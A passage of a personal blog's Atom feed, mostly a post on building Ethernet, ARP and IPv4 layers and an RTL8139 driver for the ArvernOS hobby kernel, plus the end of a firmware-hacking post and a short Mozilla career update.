not too sure how that has been generated yet, maybe just &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cat zImage *.dtb &amp;gt; kernel&lt;/code&gt;?
A &lt;a href=&quot;https://en.wikipedia.org/wiki/Initial_ramdisk&quot;&gt;initial ramdisk&lt;/a&gt; seems to be part of that same &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;zImage&lt;/code&gt; too, and it
contains different &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;init.*.rc&lt;/code&gt; files.&lt;/p&gt;

&lt;p&gt;The next steps will be to build a new Linux kernel that looks like the extracted
one, and see if that works.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;After having gained root access on this device, I have been able to modify the
original firmware. Out of 5 MTD partitions, all but two have been fully analyzed
(&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;loader&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kernel&lt;/code&gt;). I designed a breakout board to easily verify firmware
produced with a tool I created specifically for this project. This was also a
good excuse to learn about &lt;a href=&quot;https://cliutils.gitlab.io/modern-cmake/&quot;&gt;modern CMake&lt;/a&gt; 😉&lt;/p&gt;

&lt;p&gt;As mentioned before in this article, I was not too interested in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;loader&lt;/code&gt;
partition, hence my focus on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kernel&lt;/code&gt; partition near the end. In the future,
I want to build a new kernel image and load it on the device. There are two
known issues so far: (1) building the right (Android) kernel for the device, and
(2) creating a kernel partition for the RKFP image. We’ll see how it goes…&lt;/p&gt;

&lt;p&gt;Last but not least, both the tool and the KiCad files have been &lt;a href=&quot;https://github.com/willdurand/hardware-hacking-cast-device&quot;&gt;published on
GitHub&lt;/a&gt;. Enjoy!&lt;/p&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:twitter-thread&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;This used to be a link to a Twitter thread from me. I
documented how I gained (root) access on a cheap device, which involved
hardware and software skills. &lt;a href=&quot;#fnref:twitter-thread&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</content>
    </entry>
    
    <entry>
        <title>On writing a network stack (1/2)</title>
        <link href="https://williamdurand.fr/2022/02/17/on-writing-a-network-stack-part-1/"/>
        <updated>2022-02-17T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2022/02/17/on-writing-a-network-stack-part-1</id>
        <content type="html">&lt;p&gt;&lt;em&gt;I am writing a minimum viable network stack from scratch for &lt;a href=&quot;https://github.com/willdurand/ArvernOS/&quot;&gt;ArvernOS&lt;/a&gt; (a
UNIX-like toy kernel). This two-part story describes some protocols of the
&lt;a href=&quot;https://en.m.wikipedia.org/wiki/Internet_protocol_suite&quot;&gt;TCP/IP&lt;/a&gt; stack as well as some implementation details in the context of
ArvernOS.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;There are different ways to approach a problem like “let’s write a network
stack”. The most sane solution is probably to not do it because there are many
great implementations already (&lt;a href=&quot;https://savannah.nongnu.org/projects/lwip/&quot;&gt;lwIP&lt;/a&gt; for example). On the other hand, &lt;em&gt;I&lt;/em&gt;
learn a lot more by doing than by passively studying existing software or RFCs
so 🤷&lt;/p&gt;

&lt;p&gt;The “stack” I am referring to is &lt;em&gt;everything&lt;/em&gt; that happens &lt;em&gt;after&lt;/em&gt; a program
calls functions like &lt;a href=&quot;https://man7.org/linux/man-pages/man2/socket.2.html&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;socket&lt;/code&gt;(2)&lt;/a&gt;, &lt;a href=&quot;https://man7.org/linux/man-pages/man2/recvfrom.2.html&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;recvfrom&lt;/code&gt;(2)&lt;/a&gt;, etc. and
until these functions return. In ArvernOS, but I think that would apply to Linux
as well, the network stack is part of the kernel code and (user) programs
interact with it using &lt;a href=&quot;https://en.wikipedia.org/wiki/System_call&quot;&gt;system calls&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;When I started the implementation of the ArvernOS network stack (in December
2020), my plan was to write the minimal amount of code to (1) add support for a
network card in my kernel and (2) send some valid data. I designed this stack
without looking at other existing implementations. That might be a problem in
the future, we’ll see.&lt;/p&gt;

&lt;p class=&quot;with-caption can-invert-image-in-dark-mode&quot;&gt;&lt;img src=&quot;/images/posts/2022/02/arvernos-network-stack-202201.webp?v=20220411&quot; alt=&quot;ArvernOS network stack in (early) 2022&quot; /&gt;
&lt;em&gt;Figure 1: ArvernOS network stack in (early) 2022, which is divided into 5
layers (the TCP/IP model sits on top of a physical layer)&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Figure 1 depicts the 5 different layers/protocols already implemented in
ArvernOS: I chose to have a first distinct physical layer, and then we have the
4 layers of the &lt;a href=&quot;https://en.m.wikipedia.org/wiki/Internet_protocol_suite&quot;&gt;TCP/IP&lt;/a&gt; model. This makes the first 4 layers of this model
similar to the &lt;a href=&quot;https://en.wikipedia.org/wiki/OSI_model&quot;&gt;OSI model&lt;/a&gt; as well.&lt;/p&gt;

&lt;p&gt;Each implementation is far from perfect but it is “functional”. In this article,
I introduce the three first layers (at the bottom), which cover three network
protocols: Ethernet (as per IEEE 802.3), ARP and IPv4.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#layer-1-rtl8139-network-chip&quot;&gt;Layer 1: RTL8139 Network Chip&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#layer-2-ethernet&quot;&gt;Layer 2: Ethernet&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#layer-25-address-resolution-protocol-arp&quot;&gt;Layer 2.5: Address Resolution Protocol (ARP)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#layer-3-internet-protocol-v4-ipv4&quot;&gt;Layer 3: Internet Protocol v4 (IPv4)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#one-more-thing-for-today&quot;&gt;One more thing for today…&lt;/a&gt; (surprise, yay!)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;layer-1-rtl8139-network-chip&quot;&gt;Layer 1: RTL8139 Network Chip&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Disclaimer: This section is specific to ArvernOS but a network stack needs some
hardware eventually, and that is often fairly specific to the kernel/OS
(although it should be possible to have an abstraction layer for the hardware
devices in the network stack itself).&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The first step was implementing a driver for an old Ethernet network card
(&lt;a href=&quot;https://wiki.osdev.org/RTL8139&quot;&gt;RTL8139&lt;/a&gt;). Why this specific one? Mainly because I knew nothing about
network cards or drivers, the OSDev wiki had good resources on that matter, and
this card was available in QEMU. If I had to chose a driver to write again, I’d
probably write a &lt;a href=&quot;https://www.redhat.com/en/blog/introduction-virtio-networking-and-vhost-net&quot;&gt;virtio-net&lt;/a&gt; driver because that’d allow me to use it on many
virtual machines (and on some cloud providers, potentially).&lt;/p&gt;

&lt;p class=&quot;with-caption can-invert-image-in-dark-mode&quot;&gt;&lt;img src=&quot;/images/posts/2022/02/arvernos-layer1.webp&quot; alt=&quot;ArvernOS &amp;quot;Layer 1&amp;quot;&quot; /&gt;
&lt;em&gt;Figure 2: ArvernOS “Layer 1” is basically a driver to send/receive data&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Implementing the &lt;em&gt;RTL8139&lt;/em&gt; driver wasn’t too complex (see these source files:
&lt;a href=&quot;https://github.com/willdurand/ArvernOS/blob/8b183a51311591158fd4f20c5a08a73c69dd1b03/src/kernel/arch/x86_64/drivers/rtl8139.h&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;drivers/rtl8139.h&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://github.com/willdurand/ArvernOS/blob/8b183a51311591158fd4f20c5a08a73c69dd1b03/src/kernel/arch/x86_64/drivers/rtl8139.c&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;drivers/rtl8139.c&lt;/code&gt;&lt;/a&gt;). The
driver transmits data to the hardware by putting it at the right location in
memory and it receives data using hardware interrupts, which are handled with a
simple function that copies the data from one memory location to another. These
two functions are depicted in Figure 2. Under the hood, the hardware does the
conversion from bytes to an analog signal on the actual physical support (i.e.
an Ethernet cable).&lt;/p&gt;

&lt;p&gt;I chose to represent an Ethernet card as a &lt;em&gt;network interface&lt;/em&gt; (defined in this
header file: &lt;a href=&quot;https://github.com/willdurand/ArvernOS/blob/8b183a51311591158fd4f20c5a08a73c69dd1b03/include/kernel/net/net.h#L44-L84&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kernel/net/net.h&lt;/code&gt;&lt;/a&gt;). It is a thin abstraction layer on top
of some configuration (like the MAC/IP addresses of the interface itself as well
as the gateway and a DNS server), and the driver itself.&lt;/p&gt;

&lt;p&gt;With that, it was time to write some more code to send and receive data.&lt;/p&gt;

&lt;h2 id=&quot;layer-2-ethernet&quot;&gt;Layer 2: Ethernet&lt;/h2&gt;

&lt;p&gt;One thing to understand about Ethernet cards like the one above is that they
exchange data with other machines &lt;strong&gt;within the same LAN&lt;/strong&gt; (a “home” or “office”
network for instance). Machines are connected to each other with &lt;strong&gt;physical&lt;/strong&gt;
cables.&lt;/p&gt;

&lt;p&gt;At this level (or layer in &lt;a href=&quot;https://en.wikipedia.org/wiki/OSI_model&quot;&gt;OSI model&lt;/a&gt; parlance), we send and receive
frames using &lt;a href=&quot;https://en.wikipedia.org/wiki/MAC_address&quot;&gt;MAC addresses&lt;/a&gt;. A MAC address looks like this:
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;52:55:0a:00:02:03&lt;/code&gt;. It’s possible to target a specific machine but only if we
know its MAC address. Otherwise we have to use the broadcast MAC address, which
target all machines configured to accept broadcasted frames (network cards can
be configured to ignore such frames).&lt;/p&gt;

&lt;h3 id=&quot;-layer-2-in-arvernos&quot;&gt;💡 Layer 2 in ArvernOS&lt;/h3&gt;

&lt;p class=&quot;with-caption can-invert-image-in-dark-mode&quot;&gt;&lt;img src=&quot;/images/posts/2022/02/arvernos-layer2.webp&quot; alt=&quot;ArvernOS Layer 1 + 2&quot; /&gt;
&lt;em&gt;Figure 3: ArvernOS Layer 1 + 2&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;In ArvernOS, most protocol implementations provide two functions to receive and
send data, which is what Figure 3 shows. The Ethernet implementation is defined
in &lt;a href=&quot;https://github.com/willdurand/ArvernOS/blob/8b183a51311591158fd4f20c5a08a73c69dd1b03/include/kernel/net/ethernet.h&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kernel/net/ethernet.h&lt;/code&gt;&lt;/a&gt;. With this network stack, when we send
data, the upper layers call the lower ones. It is the opposite when we receive
data, which is why &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rtl8139_receive()&lt;/code&gt; calls
&lt;a href=&quot;https://github.com/willdurand/ArvernOS/blob/8b183a51311591158fd4f20c5a08a73c69dd1b03/src/kernel/net/ethernet.c#L10-L42&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ethernet_receive_frame()&lt;/code&gt;&lt;/a&gt; in Figure 3.&lt;/p&gt;

&lt;p&gt;This “glue” between the driver code (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rtl8139_receive()&lt;/code&gt; in this example) and
the Ethernet layer (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ethernet_receive_frame()&lt;/code&gt;) is currently implemented in
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;net_interface_init()&lt;/code&gt; (see &lt;a href=&quot;https://github.com/willdurand/ArvernOS/blob/8b183a51311591158fd4f20c5a08a73c69dd1b03/src/kernel/net/net.c#L40&quot;&gt;this line&lt;/a&gt;). Depending on the
driver &lt;em&gt;type&lt;/em&gt;, we configure the right callback function on the interface. The
driver has access to this interface so, when it receives data, it can forward
the data to the upper layer (which is unknown from its perspective) &lt;em&gt;via&lt;/em&gt; the
interface:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// drivers/rtl8139.c&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;net_driver_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;driver&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// ARP_HTYPE_ETHERNET&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;RealTek RTL8139&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_mac_address&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rtl8139_get_mac_address&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;transmit&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rtl8139_transmit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;interface&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// will be set in `net_interface_init()`.&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;rtl8139_receive&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;// ... some code to read the frame/len from a buffer ...&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;driver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;interface&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;receive_frame_callback&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;driver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;interface&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;frame&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

  &lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I am still wondering if this is the right approach. Sure, it works but there is
no buffering so every single frame will be sent to the upper layers in the
network stack, one by one. In Linux, network device drivers seem to use the
&lt;a href=&quot;https://www.kernel.org/doc/htmldocs/networking/API-netif-receive-skb.html&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;netif_receive_skb()&lt;/code&gt;&lt;/a&gt; function to pass data up the stack
(&lt;em&gt;via&lt;/em&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;napi_gro_receive()&lt;/code&gt;), and that definitely involves some buffers.&lt;/p&gt;

&lt;p&gt;Anyway, given Ethernet required MAC addresses and broadcasting all frames didn’t
sound to appealing, the next logical step was to find a way to discover MAC
addresses. My “long-term” goal was to write an IP-oriented network stack so I
looked into ARP first.&lt;/p&gt;

&lt;h2 id=&quot;layer-25-address-resolution-protocol-arp&quot;&gt;Layer 2.5: Address Resolution Protocol (ARP)&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://en.m.wikipedia.org/wiki/Address_Resolution_Protocol&quot;&gt;ARP&lt;/a&gt; is a popular protocol to find the recipient MAC address when we know its
IP address (or another internet layer address).&lt;/p&gt;

&lt;p&gt;It works like this: machine &lt;em&gt;A&lt;/em&gt; wants to know the MAC address of machine &lt;em&gt;B&lt;/em&gt;. If
&lt;em&gt;A&lt;/em&gt; knows the IP address of &lt;em&gt;B&lt;/em&gt;, it can send an ARP request, i.e. a frame
broadcasted on the LAN asking &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;who has &amp;lt;ip address&amp;gt;?&lt;/code&gt;. If machine &lt;em&gt;B&lt;/em&gt; receives
broadcasted frames, it will sends an ARP reply to &lt;em&gt;A&lt;/em&gt; and that’s how &lt;em&gt;A&lt;/em&gt; will
know the MAC address of &lt;em&gt;B&lt;/em&gt;.&lt;/p&gt;

&lt;h3 id=&quot;-layer-25-in-arvernos&quot;&gt;💡 Layer 2.5 in ArvernOS&lt;/h3&gt;

&lt;p class=&quot;with-caption can-invert-image-in-dark-mode&quot;&gt;&lt;img src=&quot;/images/posts/2022/02/arvernos-layer2-5.webp&quot; alt=&quot;ArvernOS Layer 1 + 2 + ARP&quot; /&gt;
&lt;em&gt;Figure 4: ArvernOS Layer 1 + 2 + ARP (Layer 2.5)&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Currently, the network stack contains a naive ARP implementation (defined in
this header file: &lt;a href=&quot;https://github.com/willdurand/ArvernOS/blob/8b183a51311591158fd4f20c5a08a73c69dd1b03/include/kernel/net/arp.h&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kernel/net/arp.h&lt;/code&gt;&lt;/a&gt;). No ARP cache. No Reverse ARP. As
depicted in Figure 4, when receiving data, the Ethernet code has to decode the
frame header and read the &lt;a href=&quot;https://en.wikipedia.org/wiki/EtherType&quot;&gt;EtherType&lt;/a&gt; value to know what to do next.&lt;/p&gt;

&lt;p&gt;The ARP implementation conveniently provides a function to handle ARP packets
(&lt;a href=&quot;https://github.com/willdurand/ArvernOS/blob/8b183a51311591158fd4f20c5a08a73c69dd1b03/src/kernel/net/arp.c#L58-L99&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;arp_receive_packet()&lt;/code&gt;&lt;/a&gt;), which receives the data
contained in the Ethernet frame. If the &lt;em&gt;EtherType&lt;/em&gt; is not supported, the frame
is dropped.&lt;/p&gt;

&lt;p&gt;Sending an ARP request (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;who has &amp;lt;ip address&amp;gt;?&lt;/code&gt;) is less involved because the
ARP layer only has to construct the ARP packet and ask the Ethernet layer to
send the packet.&lt;/p&gt;

&lt;p&gt;At this point, I could visualize frames being sent and received between my
kernel and the emulated gateway in QEMU using Wireshark.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2022/02/wireshark.webp?v=2&quot; alt=&quot;Screenshot of Wireshark&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;but-what-if&quot;&gt;But, what if…?&lt;/h3&gt;

&lt;p&gt;What if &lt;em&gt;A&lt;/em&gt; does not know the IP address of &lt;em&gt;B&lt;/em&gt;? As mentioned previously, it is
possible to broadcast frames. Another option if &lt;em&gt;A&lt;/em&gt; knows &lt;em&gt;B&lt;/em&gt;’s (host) name
could be to use &lt;a href=&quot;https://en.wikipedia.org/wiki/Domain_Name_System&quot;&gt;DNS&lt;/a&gt; to find the IP address, and then ARP.&lt;/p&gt;

&lt;p&gt;What if &lt;em&gt;A&lt;/em&gt; knows nothing about &lt;em&gt;B&lt;/em&gt;? For example, it isn’t uncommon to plug an
Ethernet cable to a new machine and get LAN or even Internet access almost
instantaneously. This is very likely happening thanks to &lt;a href=&quot;https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol&quot;&gt;DHCP&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Both DNS and DHCP are high level IP protocols. In order to add support for these
protocols, I had to implement a couple new layers: IPv4 and &lt;a href=&quot;https://en.wikipedia.org/wiki/User_Datagram_Protocol&quot;&gt;UDP&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;layer-3-internet-protocol-v4-ipv4&quot;&gt;Layer 3: Internet Protocol v4 (IPv4)&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Internet_Protocol&quot;&gt;IP&lt;/a&gt; is the Internet Protocol and v4 is the “old” version, which I like
because I can remember IP addresses (I know, right?). There is also IPv6 but I
don’t know much about it. I’d recommend this &lt;a href=&quot;https://tailscale.com/kb/1134/ipv6-faq/&quot;&gt;IPv4 vs. IPv6 FAQ&lt;/a&gt;
for more information.&lt;/p&gt;

&lt;p&gt;IP allows to reach machines on a different LAN using a gateway (a.k.a. a
router). When a machine wants to send an IP packet (sometimes called datagram)
to a non-local machine, it has to create an Ethernet frame that encapsulates the
IP packet and asks the network card to transmit it. We’ve seen that before. The
thing is that we need the data to get out of the LAN so the Ethernet frame’s
destination address should be the MAC address of the gateway (even though the
packet is for a different machine).&lt;/p&gt;

&lt;p&gt;When the gateway receives the frame, it reads the &lt;a href=&quot;https://en.wikipedia.org/wiki/EtherType&quot;&gt;EtherType&lt;/a&gt;. Given that the
frame encapsulates an IPv4 packet, the gateway determines whether the
destination IP address is local. If it is not local, it modifies the frame’s
destination MAC address to set the MAC address of its own gateway and forwards
it. When the packet arrives to a gateway that knows the recipient, the
destination MAC address is set to the one of the recipient machine. The
recipient reads the &lt;em&gt;EtherType&lt;/em&gt; as well, and then parses the IPv4 packet.&lt;/p&gt;

&lt;p&gt;Each IPv4 packet has a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;protocol&lt;/code&gt; field that indicates the type of data
encapsulated in the packet. Common types include &lt;a href=&quot;https://en.wikipedia.org/wiki/Internet_Control_Message_Protocol&quot;&gt;ICMP&lt;/a&gt; (“ping”), &lt;a href=&quot;https://en.wikipedia.org/wiki/User_Datagram_Protocol&quot;&gt;UDP&lt;/a&gt; and
&lt;a href=&quot;https://en.wikipedia.org/wiki/Transmission_Control_Protocol&quot;&gt;TCP&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;-layer-3-in-arvernos&quot;&gt;💡 Layer 3 in ArvernOS&lt;/h3&gt;

&lt;p class=&quot;with-caption can-invert-image-in-dark-mode&quot;&gt;&lt;img src=&quot;/images/posts/2022/02/arvernos-layer3.webp&quot; alt=&quot;ArvernOS Layers 1 + 2 + IPv4&quot; /&gt;
&lt;em&gt;Figure 5: ArvernOS Layer 1 + 2 + IPv4&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Figure 5 shows how the IPv4 implementation is integrated in the network stack
for ArvernOS. It is very similar to what has been described previously. When
receiving a frame, the Ethernet layer reads the &lt;em&gt;EtherType&lt;/em&gt; and calls
&lt;a href=&quot;https://github.com/willdurand/ArvernOS/blob/8b183a51311591158fd4f20c5a08a73c69dd1b03/src/kernel/net/ipv4.c#L21-L49&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ipv4_receive_packet()&lt;/code&gt;&lt;/a&gt; when its value is IPv4. A
not-so-fun but still interesting part of the IPv4 implementation has been to
compute correct checksums as specified in the &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc1071&quot;&gt;RFC 1071&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;When I implemented IPv4, I also implemented ICMPv4 so that I could verify my
network stack implementation by ping-ing another machine. Interested readers can
find the code in &lt;a href=&quot;https://github.com/willdurand/ArvernOS/blob/8b183a51311591158fd4f20c5a08a73c69dd1b03/src/kernel/net/icmpv4.c&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kernel/net/icmpv4.c&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;one-more-thing-for-today&quot;&gt;One more thing for today…&lt;/h2&gt;

&lt;p&gt;Lately, I started to work on a completely unrelated feature for ArvernOS: a
Linux compatibility layer (see &lt;a href=&quot;https://github.com/willdurand/ArvernOS/pull/552&quot;&gt;this draft PR&lt;/a&gt;), which would
allow unmodified Linux binaries to run on ArvernOS. This involved learning a lot
about the &lt;a href=&quot;https://wiki.osdev.org/System_V_ABI&quot;&gt;System V ABI&lt;/a&gt; and other low-level Linux and “libc” stuff but I made
good progress. I was able to run a custom &lt;a href=&quot;https://busybox.net/&quot;&gt;BusyBox&lt;/a&gt; build statically compiled
with &lt;a href=&quot;https://www.musl-libc.org/&quot;&gt;musl&lt;/a&gt; on (and for) Linux.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Why&lt;/em&gt; would I mention that in an article about network protocols, though? Well,
I compiled BusyBox with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ping&lt;/code&gt; and I was able to execute it on ArvernOS (and
yeah, the time seems incorrect):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2022/02/arvernos-busybox-ping.webp&quot; alt=&quot;BusyBox&apos;s ping executed on ArvernOS&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;traceroute&lt;/code&gt; kinda works, too. It is cool to see that well-known existing tools
can somehow leverage this little network stack. As I said before, it isn’t
perfect but it is functional.&lt;/p&gt;

&lt;h2 id=&quot;the-end&quot;&gt;The End.&lt;/h2&gt;

&lt;p&gt;That’s it for today. Let me know if you have questions or comments (email or
Twitter). In &lt;a href=&quot;/2022/04/11/on-writing-a-network-stack-part-2/&quot;&gt;part 2&lt;/a&gt;, we’ll cover &lt;a href=&quot;https://en.wikipedia.org/wiki/User_Datagram_Protocol&quot;&gt;UDP&lt;/a&gt;, &lt;a href=&quot;https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol&quot;&gt;DHCP&lt;/a&gt; and &lt;a href=&quot;https://en.wikipedia.org/wiki/Domain_Name_System&quot;&gt;DNS&lt;/a&gt;.&lt;/p&gt;

</content>
    </entry>
    
    <entry>
        <title>I joined a new team (at Mozilla)</title>
        <link href="https://williamdurand.fr/2022/01/25/new-team-mozilla/"/>
        <updated>2022-01-25T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2022/01/25/new-team-mozilla</id>
        <content type="html">&lt;p&gt;The year is 2022 and I am still using my blog to share personal-ish status
updates. Today’s post is about my career.&lt;/p&gt;

&lt;p&gt;I work at Mozilla for ~4 years now (including my time as a contractor). After
having worked on &lt;a href=&quot;/2020/05/01/moziversary-2/&quot;&gt;many&lt;/a&gt;
&lt;a href=&quot;/2021/05/01/moziversary-3/&quot;&gt;things&lt;/a&gt; and getting a
&lt;a href=&quot;/2021/02/26/i-got-a-promotion/&quot;&gt;promotion&lt;/a&gt; not too long ago, I made a &lt;a href=&quot;https://www.glassdoor.com/blog/lateral-career-moves/&quot;&gt;lateral
move&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I am now a full-time &lt;strong&gt;Firefox engineer&lt;/strong&gt;, working on the &lt;a href=&quot;https://extensionworkshop.com/documentation/develop/about-the-webextensions-api/&quot;&gt;WebExtensions API&lt;/a&gt;.
I’ve been working on “web apps” for most of my career and now I’ll be writing
code for developers to write browser extensions.&lt;/p&gt;

&lt;p&gt;This is scary and maybe a bit silly (career-wise) but this is also an incredible
challenge for me. That’s what I wanted. That’s what I needed. I left a great
team to join a fantastic team where I am the least experienced in the domain we
own. It &lt;em&gt;almost&lt;/em&gt; feels like I am back at the beginning of my career, except that
I now know how much I don’t know. Ha, well. It’s going to be fine.&lt;/p&gt;

</content>
    </entry>
    
    <entry>
        <title>ArvernOS in 2021</title>
        <link href="https://williamdurand.fr/2021/12/29/arvernos-in-2021/"/>
        <updated>2021-12-29T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2021/12/29/arvernos-in-2021</id>
        <content type="html">&lt;p&gt;&lt;em&gt;&lt;a href=&quot;https://github.com/willdurand/ArvernOS&quot;&gt;ArvernOS&lt;/a&gt; is a side project I started to learn more about operating systems and low level development. I usually work on it for a few weeks in a row, then pause it for a long time until I come back to it again.&lt;/em&gt;&lt;/p&gt;

